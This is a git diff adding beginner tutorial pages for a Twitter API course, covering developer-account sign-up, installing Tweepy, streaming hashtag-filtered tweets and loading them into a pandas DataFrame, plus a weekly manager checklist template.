diff --git a/.gitbook.yaml b/.gitbook.yaml
new file mode 100644
index 00000000..768cfdaa
--- /dev/null
+++ b/.gitbook.yaml
@@ -0,0 +1 @@
+root: ./docs/
\ No newline at end of file
diff --git a/.github/ISSUE_TEMPLATE/weekly-manager-checklist.md b/.github/ISSUE_TEMPLATE/weekly-manager-checklist.md
new file mode 100644
index 00000000..e77b3f85
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/weekly-manager-checklist.md
@@ -0,0 +1,21 @@
+---
+name: Weekly Manager Checklist
+about: A weekly list of tasks that each manager of a team should complete every week
+title: "[Weekly Sync] *insert manager name* Week of */**"
+labels: manager-sync
+assignees: ''
+
+---
+
+- [ ] Review developers' work and provide a review for each of your devs' PRs to your branch according to the Pull Request Checklist
+- [ ] Ensure "first draft" pull requests are in by Friday
+- [ ] "Final draft" pull request to master should be in by Sunday
+- [ ] Generate issues for the project based on feedback received and progress made the week prior
+- [ ] Ensure issues are made and set-up for next week's tasks
+- [ ] Designate two issues not being solved to be "first timer only" issues
+- [ ] Milestone should be set-up
+- [ ] Adjust long-term plan and epic points for each module epic based on feedback and progress
+- [ ] Adjust timeline in Zenhub Calendar
+
+*Deadline*
+Sunday, ./..
diff --git a/.gitignore b/.gitignore
index 0fa494df..4b7ba531 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,9 +1,6 @@
-
Module4_Labs/.DS_Store
Module4_Labs/Lab2_Doubly_Linked_List/.DS_Store
Module4_Labs/Lab3_File_System/.DS_Store
Module4_Labs/Lab3_File_System/.DS_Store
Module4.3_Search_and_Sorting_Algorithms/activities/.DS_Store
.DS_Store
-Module4.3_Search_and_Sorting_Algorithms/activities/.DS_Store
-.DS_Store
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/1.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/1.md
new file mode 100644
index 00000000..a171f563
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/1.md
@@ -0,0 +1,15 @@
+
+
+## Welcome to the Twitter API activities series!
+
+In the upcoming sets of activities, you will be learning the basics of Twitter API.
+
+### What is Twitter API?
+
+Twitter has made an API where you can analyze tweets to help make businesses decisions, manage Twitter ads and campaigns, engage with other Twitter users on meaningful conversations, and share your stories.
+
+### Who/How do buisnesses use Twitter API?
+
+There are so many ways Twitter API can help becuase of how powerful and widespread the Twitter platform is. It would be impossible to sum up all the good work Twitter API does in this activity but feel free to visit [here](https://marketing.twitter.com/na/en/success-stories) and read success stories.
+
+To use Twitter API, we have to sign up for a developer account to get your personal authentication keys. That autenthication will solely belong to you and you should nevere share it with anyone. APIs generally need authentication is needed since there are so many users and data involved and there needs to a form of idetification.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/2.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/2.md
new file mode 100644
index 00000000..38547710
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/2.md
@@ -0,0 +1,33 @@
+
+
+Go to **https://developer.twitter.com/** and follow the directions to sign-up for an account. Start by clicking 'Apply' at the top right corner. The application starts with a form. Here's a guide:
+
+**1) What is your primary reason for using Twitter developer tools?**
+
+ Choose 'Exploring the API'
+
+
+
+**2. This is you, right?**
+
+ Make sure you have a Twitter account connected. If not, make one right now
+ as you will need it for applying. Here: https://twitter.com/i/flow/signup
+
+**3. In your word, ...**
+
+ Here, explain that you're participating in Bit Project's Twitter
+ workshops/activities and that what you hope to learn/get out of this workshop.
+
+**4. In the specifics, ...**
+
+ ONLY say yes to 'Are you planning to analyze Twitter data?'. Most of the
+ activities we do has to do with reading Twitter data and performing work on
+ them.
+
+**5. Review your answers and make sure you have followed all the guidelines here. Agree to the terms and submit your application.**
+
+**6. Confirm your email** and your account should be processed and reviewed swiftly by the Twitter team.
+
+After these steps, head back to the [Twitter developer menu](https://developer.twitter.com/en/apps
+) (please note your account may take a little while to be approved) .
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/3.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/3.md
new file mode 100644
index 00000000..1ef07734
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/3.md
@@ -0,0 +1,10 @@
+
+
+You should see that you have no apps. Click on 'create an app'.
+
+
+
+In the creation of your app, fill out all the required information for your app details. For the website URL field, you can input any website, we used https://bitproject.org. Leave the OAuth Callback URL, TOS and Privacy Policy fields blank.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/4.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/4.md
new file mode 100644
index 00000000..4112a9bd
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/4.md
@@ -0,0 +1,12 @@
+Once created, you should see your app appear on the apps page.
+
+
+
+Click on 'Keys and Tokens'
+
+
+
+The tokens you received in your developer account will come into play when we want data from Twitter.
+
+As with all API's, authentication and authorization are important. This is so APIs knows who is accessing their information and what privileges to provide.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/5.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/5.md
new file mode 100644
index 00000000..a5ba50ce
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/5.md
@@ -0,0 +1,15 @@
+
+
+In this activity, you will use your Twitter developer account to retrive live data from Twitter and stream it out on your command line.
+
+We're mainly going to be using Tweepy to complete this.
+
+**What is Tweepy?**
+
+Tweepy is a Python library on accessing Twitter API. It is great for simple automation and creating twitter bots. It holds many features, such as getting tweets from your timeline, creating/deleting tweets, and following/unfollowing users.
+
+Tweepy provides many methods and functions to access Twitter APIs. If you are curious and want to read more about them, Tweepy has a documentation page where all their methods are listed and explained. To view that, you can go to **https://tweepy.readthedocs.io/en/v3.5.0/** to read more.
+
+
+
+We're going to use Object-Oriented Programming in the process too!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/6.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/6.md
new file mode 100644
index 00000000..d7cbf665
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/6.md
@@ -0,0 +1,27 @@
+
+
+
+
+# Download Python, Create Twitter Account, Install Tweepy
+
+*Note that the following part is optional - if you would like to develop on Python locally on your machine, you should follow these instructions to download Python and run Python scripts on your machine. *
+
+In today's activity, we are going to recreate the Twitter application, which is called Tweepy. We will be utilizing an API, which can be accessed via Python, to stream tweets in real time directly from Twitter.
+
+Before beginning to create the application, you first must have Python installed onto your computer. You can do so, go to [**python.org/downloads**](**python.org/downloads**) and install the latest version.
+
+
+
+
+
+Once you have done that, you will also need to make a Twitter account if you do not already have one. If you already have an existing account, you can skip this step. Otherwise, go onto [**twitter.com**](twitter.com), click on the **Sign up** button and fill out your personal information.
+
+Now that you have Python installed and have an existing Twitter account, we are going to install the Python package **Tweepy**. To install Tweepy, open your Terminal on your computer. Use your terminal to navigate into the folder where you will be creating this activity. Once that is done, enter this shell command to install Tweepy:
+
+```
+$ pip install tweepy
+```
+
+That line will install the tweepy module so that you can use its different functions to recreate the Twitter application. Once it's done installing, you should see something like this:
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gasdq3b76uj313u0u0ham.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gasdq3b76uj313u0u0ham.jpg
new file mode 100644
index 00000000..44ff7432
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gasdq3b76uj313u0u0ham.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gash6vr1boj315t0u0tht.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gash6vr1boj315t0u0tht.jpg
new file mode 100644
index 00000000..933906cc
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/006tNbRwgy1gash6vr1boj315t0u0tht.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f63324565793443555864396769334c464c507662704b704472315f714e54795a47484d4b6e6743416a5a5f70724b31724954654937416e4c745750527230765f6752494749786254364d51556c374741513877713648.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f63324565793443555864396769334c464c507662704b704472315f714e54795a47484d4b6e6743416a5a5f70724b31724954654937416e4c745750527230765f6752494749786254364d51556c374741513877713648.png
new file mode 100644
index 00000000..e479c3e4
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f63324565793443555864396769334c464c507662704b704472315f714e54795a47484d4b6e6743416a5a5f70724b31724954654937416e4c745750527230765f6752494749786254364d51556c374741513877713648.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f7743576f306672514e6d3261504433467633306b4d4339304451446b383830654762314b5447724c354937644f6a69733935476f564249327a4a4a33746163497a2d30757839484670674159654234596d5f4c43324f.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f7743576f306672514e6d3261504433467633306b4d4339304451446b383830654762314b5447724c354937644f6a69733935476f564249327a4a4a33746163497a2d30757839484670674159654234596d5f4c43324f.png
new file mode 100644
index 00000000..50441062
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/68747470733a2f2f6c68362e676f6f676c6575736572636f6e74656e742e636f6d2f7743576f306672514e6d3261504433467633306b4d4339304451446b383830654762314b5447724c354937644f6a69733935476f564249327a4a4a33746163497a2d30757839484670674159654234596d5f4c43324f.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-02-17 at 1.14.44 AM.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-02-17 at 1.14.44 AM.png
new file mode 100644
index 00000000..438c7484
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-02-17 at 1.14.44 AM.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-04-01 at 9.46.43 PM.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-04-01 at 9.46.43 PM.png
new file mode 100644
index 00000000..31c1c35b
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screen Shot 2020-04-01 at 9.46.43 PM.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-16.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-16.png
new file mode 100644
index 00000000..7fa1a670
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-16.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-37.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-37.png
new file mode 100644
index 00000000..3ed78db2
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/Screenshot from 2020-04-01 22-55-37.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/intro_twitter_python.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/intro_twitter_python.jpeg
new file mode 100644
index 00000000..40bbeff3
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/Activity1Pics/intro_twitter_python.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/README.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/README.md
new file mode 100644
index 00000000..6d4e7f85
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity1_Intro to Twitter API/README.md
@@ -0,0 +1,168 @@
+# github_id
+
+18
+
+
+
+# name
+
+Intro to Twitter API
+
+
+
+# description
+
+Learning the basics of Twitter API
+
+
+
+# summary
+
+Learn the basics of Twitter API, why people use it and what it can do.
+
+
+
+# difficulty
+
+Easy
+
+
+
+# image
+
+
+
+# image_folder
+
+Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Act1_Intro to Twitter API/Activity1Pics
+
+
+# cards
+
+
+
+## 1
+
+
+
+### name
+
+Intro to Twitter API Activity
+
+
+
+### order
+
+1
+
+
+
+### gems
+
+10
+
+
+
+## 2
+
+
+
+### name
+
+Twitter Developer Account
+
+
+
+### order
+
+2
+
+
+
+### gems
+
+10
+
+## 3
+
+
+
+### name
+
+Create an App
+
+
+
+### order
+
+3
+
+
+
+### gems
+
+10
+
+
+
+## 4
+
+
+
+### name
+
+Twitter Developer Account Continued
+
+
+
+### order
+
+4
+
+
+
+### gems
+
+10
+
+## 5
+
+
+
+### name
+
+Downloading Data From Twitter in Real Time
+
+
+
+### order
+
+5
+
+
+
+### gems
+
+10
+
+
+
+## 6
+
+
+
+### name
+
+Download Python, Create Twitter Account, Install Tweepy
+
+
+
+### order
+
+6
+
+
+
+### gems
+
+10
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/1.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/1.md
new file mode 100644
index 00000000..a882e044
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/1.md
@@ -0,0 +1,15 @@
+# Configuring Access Tokens
+
+Before continuing with this activity, we'll first have to secure access to the Twitter Streaming API using the tokens we got from the last activity.
+
+For the rest of the activities, we will be using **Google Colab**.
+
+Create a new file called **twitter_credentials.py** and paste the following code: (with your credentials)
+
+```python
+ACCESS_TOKEN = "insert_access_token_here"
+ACCESS_TOKEN_SECRET = "insert_access_token_secret_here"
+CONSUMER_KEY = "insert_consumer_key_here"
+CONSUMER_SECRET = "insert_consumer_secret_here"
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/10.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/10.md
new file mode 100644
index 00000000..ff60af8c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/10.md
@@ -0,0 +1,48 @@
+
+
+Let’s make a data frame!
+
+Add the following code under `if __name__ == '__main__'`:
+
+```python
+ tweets = pd.DataFrame()
+ tweets['text'] = list(map(lambda tweet: tweet['text'], tweets_data))
+ tweets['Username'] = list(map(lambda tweet: tweet['user']['screen_name'], tweets_data))
+ tweets['Timestamp'] = list(map(lambda tweet: tweet['created_at'], tweets_data))
+ print(tweets.head())
+```
+This block of code creates our dataframe and will display the tweet, the username, and when the tweet was made. As we are extracting data with the combo of lambda, map, and list and setting it to something like tweets[“user”], we will get a column of users in our data frame. We can only do this because the file was formatted in JSON! Doesn't JSON make everything seem simple?
+
+pd.DataFrame() is a function from pandas that will make a new data frame object, in our case, a data frame named tweets.
+
+Remember how we turned our data file to a JSON format? We’re going to extract contents from it now!
+
+We need to extract all the tweets from our `tweets_data` JSON object. We want to process the text, username and timestamp of each tweet.
+
+We can use a concept called **lambda functions**. Lambda functions are essentially one-line functions that are unnamed. You can use lambda functions alongside the `map` keyword to run lambda functions on every entity in a list of entities. In this case, we want to run a lambda function on each of our tweets in our JSON data.
+
+The following statement
+
+ ```python
+map(lambda tweet: tweet['text'], tweets_data)
+ ```
+
+will iterate through every object in `tweets_data` and run the lambda function on each object. After running the lambda function, its output will be stored in an "iterator" object. (for the sake of this activity you don't need to know what exactly this means). To use this object and access the tweets inside you can use the `list` keyword to convert the iterator object into a list that we can easily process and use.
+
+Therefore, the statement
+
+```python
+tweets['text'] = list(map(lambda tweet: tweet['text'], tweets_data))
+```
+
+will gather a list of each tweet's text in `tweets_data` and set that list to the "text" column in the `tweets` DataFrame.
+
+Lambda functions combined with `map` are very powerful!
+
+### Final Output
+
+Save and run your file in terminal! You should see output like this appear in your command line:
+
+
+
+Although we set a maximum amount of tweets we want in our code, the amount actually can vary from 0-max_tweets, depending on how long you let it run and how fast your computer is. So don't worry if it has less than max tweets!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/2.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/2.md
new file mode 100644
index 00000000..9cf81b14
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/2.md
@@ -0,0 +1,20 @@
+Now we are going to start working with Twitter data!
+
+To start, create a new Python file called **twitter_data.py** and we will need to import several packages* from Tweepy: OAuthHandler, Stream, StreamListener
+
+```python
+from tweepy.streaming import StreamListener
+from tweepy import OAuthHandler
+from tweepy import Stream
+```
+
+*A package is a sub-library of a library that holds functions to do a very specific task.
+
+##### What are these libraries?
+
+OAuthHandler will take your consumer token and secret to authenticate you and give you access to Twitter data.
+
+Stream creates a streaming session so you can have Twitter data in real time and communicates with **StreamListener**.
+
+StreamListener routes information (directly connecting the content that you see).
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/3.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/3.md
new file mode 100644
index 00000000..d793ca85
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/3.md
@@ -0,0 +1,36 @@
+# Streaming and Processing Class
+
+In this part of the activity, we will now start writing the code for the Tweepy application. Start off by creating a new Python file named **tweepy_streamer.py**.
+
+We will import the Tweepy module, which you should have installed in the previous part of the activity, into the file to allow us to use its commands in our file. Import the module at the very top of your Python file.
+
+```python
+from tweepy.streaming import StreamListener
+from tweepy import OAuthHandler
+from tweepy import Stream
+import twitter_credentials
+```
+
+Notice that we imported our Twitter credentials from the previous part.
+
+Moving along, we will create a **StdOutListener** class to stream and process live tweets. Notice that this class has the **StreamListener** class in parentheses, indicating that this class "inherits" from the StreamListener class. The StreamListener class is imported from the package `tweepy.streaming`, and is a general class that by default will "listen" to data from Twitter.
+
+```python
+class StdOutListener(StreamListener):
+```
+
+By default, the StreamListener class has functions called `on_data` and `on_error`. Ultimately, we want to produce a "stream" of tweets by printing the tweets. If there is an error, we want to print the error as well. So we provide our own definitions of `on_data` and `on_error`:
+
+```python
+ def on_data(self, data):
+ print(data)
+ return True
+ def on_error(self, status):
+ print(status)
+```
+
+Currently as constructed, the listener will stream ALL tweets from Twitter in real-time. For the sake of this activity, we don't want to stream all tweets, we only want to stream tweets that include certain hashtags. We are going to create a Python **list** that contains all the hashtags we want in our streamed tweets:
+
+```Python
+tracklist = ["#Corona", "#Coronavirus", "#CDC"]
+```
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/4.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/4.md
new file mode 100644
index 00000000..9e78aaa0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/4.md
@@ -0,0 +1,34 @@
+# Handling Twitter Authentication
+
+Next, we will handle Twitter authentication and the connection to the Twitter API. To do so, we will need to create the `auth` variable to authenticate using the credentials we have in the **twitter_credentials.py** file. We will use the OAuthHandler from the Tweepy module to authenticate our "Consumer Key" and "Consumer Secret". To complete the authenication process, we will set the access token to the "Access Token" and "Access Token Secret" from that same file.
+
+```python
+listener = StdOutListener()
+auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
+auth.set access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
+```
+
+Next, we will create a stream using the **Stream** class from the Tweepy module and pass in the auth and listener objects.
+
+```python
+stream = Stream(auth, listener)
+```
+
+We will also filter tweets with specific keywords when streaming in the data. To do so, we will use "track" to track those keywords, which is provided through the `tracklist` parameter.
+
+```python
+stream.filter(track = tracklist)
+```
+
+Here is what the Python code should look like in your **tweepy_streamer.py** file under your **TwitterStreamer** class. (all of this code will be run as the "main" code, that is what the first line is doing)
+
+```python
+if __name__ == '__main__':
+ # Twitter Authentication
+ listener = StdOutListener()
+ auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
+ auth.set access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
+
+ stream = Stream(auth, listener) # create Stream class
+ stream.filter(track = hash_tag_list) # filter keywords
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/5.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/5.md
new file mode 100644
index 00000000..f959600c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/5.md
@@ -0,0 +1,13 @@
+# Accessing Data
+
+Now that we have set up our authentication and gathered our data, what we need to do now is view the data.
+
+Open your Command Prompt/Terminal. Go to the directory that holds you code file. Once you are there, type:
+
+`twitter_data.py > twitter_data.txt`
+
+This statement "pipes" all of the output from your Python program into a text file. Normally when you run `twitter_data.py`, the output would just print to the screen. By piping your output to another file, the output will just print to the file instead, giving you the ability to collect tweets directly from Twitter in real-time!
+
+You should let this run for a little while to accumulate a bunch of tweets. When it's running, it will be collecting data into our **twitter_data.txt** file in JSON format. **twitter_data.txt** will be a file that the code makes in the same folder as where the code file is.
+
+Now close your terminal and open the text file, you should see a bunch of topical tweets!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/6.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/6.md
new file mode 100644
index 00000000..5cb4a1da
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/6.md
@@ -0,0 +1,33 @@
+
+
+Hypothetically, we only wanted a certain sample size of 100 tweets for our research project. We can actually modify our code in order to limit the number of tweets we want to download, by keeping track of the maximum number of tweets in the `on_data` function and disconnecting the stream when the limit is reached.
+
+We'll first need to set some global variables outside of the class that will keep track of the :
+
+```python
+# global variables for limiting number of tweets
+tweet_count = 0
+max_tweets = 10
+```
+
+These need to be defined outside of the class. Since `on_data` runs every time a tweet is streamed, if we kept track of them inside `on_data` then we would lose the values of those variables every time a new tweet is processed.
+
+We can use an if-else statement that counts the number of tweets we’ve downloaded and disconnects the stream when we exceed a certain number.
+
+```python
+class StdOutListener(StreamListener):
+ def on_data(self, data):
+ global tweet_count
+ global max_tweets
+ global stream
+ if tweet_count < max_tweets:
+ print(data)
+ tweet_count += 1
+ return True
+ else:
+ stream.disconnect()
+ def on_error(self, status):
+ print(status)
+```
+
+With this new if-else statement, we can control when we disconnect the stream.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/7.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/7.md
new file mode 100644
index 00000000..db679272
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/7.md
@@ -0,0 +1,21 @@
+
+
+##### What are dataframes?
+
+
+
+- Comes from the pandas library
+- 2-dimensional and has 2 axises, x (rows) and y (columns).
+- holds data, for example, this one hold data about basketball players on the Boston Celtics.
+- Similar to a chart.
+- In this case, we will use a dataframe to organize all our data
+
+For our dataframe, we will need to import more libraries at the top of our code.
+
+```python
+import json
+import pandas as pd
+# path where streamed tweets are located from part 1
+tweets_data_path = "twitter_data.txt"
+```
+Pandas is a great module that we can use to create a dataframe. JSON is a text format that will be explain later.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/8.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/8.md
new file mode 100644
index 00000000..2f725c3f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/8.md
@@ -0,0 +1,44 @@
+
+
+Now that we have a class set up to retrieve data, let's learn how to read it!
+
+Currently our data is in a text file but we want the data in a JSON file. The following loop accomplishes this task.
+
+```python
+tweet_count = 0
+max_tweets = 10
+
+if __name__ == '__main__':
+ tweets_data = []
+ tweets_file = open(tweets_data_path, "r")
+ for line in tweets_file:
+ try:
+ tweet = json.loads(line)
+ tweets_data.append(tweet)
+ except:
+ continue
+```
+The code above reads from a file and turns all your data from just lines of information into a JSON file. We want to use a JSON file because it’s a very easy format to access your data and it organizes it into very nice sections.
+
+An example JSON file would look like this:
+
+```JSON
+{
+ "NBA_Teams": {
+ "Golden State Warriors": {
+ players: ["Stephen Curry",
+ "Klay Thompson",
+ ...]
+ },
+ "Boston Celtics": {
+ players: ["Kemba Walker",
+ "Jayson Tatum",
+ ...]
+ }
+ }
+}
+```
+
+As you can see, it is easy to understand the nested structure of data using JSON.
+
+For those of you more familiar with Python, JSON files are easy to parse in Python because they are essentially represented as nested **dictionaries**.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/9.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/9.md
new file mode 100644
index 00000000..86721aa6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/9.md
@@ -0,0 +1,23 @@
+
+
+Let's learn briefly about JSON files as that is the format our data is going to be presented in!
+
+An open-standard file format or data interchange format that uses human-readable text to transmit data objects consisting of attribute–value pairs and array data types.
+
+JSON is popular because it’s similar looking to a dictionary in Python and super readable.
+
+Here's an example:
+
+
+
+
+
+##### Extracting from JSON
+
+JSON format makes extracting data super simple. You can see that in the file, there are little sections with a ‘title’.
+
+To take the data from a section, it would be json[section] . . . [section]. It will give you everything within the curly brackets next to the section name.
+
+Assuming the entire JSON above is represented under the variable `data`:
+ `data[quiz]` will give you everything in the file
+ `data[quiz][maths]` will give you everything within the bracket next to maths
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-01-18 at 5.02.34 PM.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-01-18 at 5.02.34 PM.png
new file mode 100644
index 00000000..bb5a1a6e
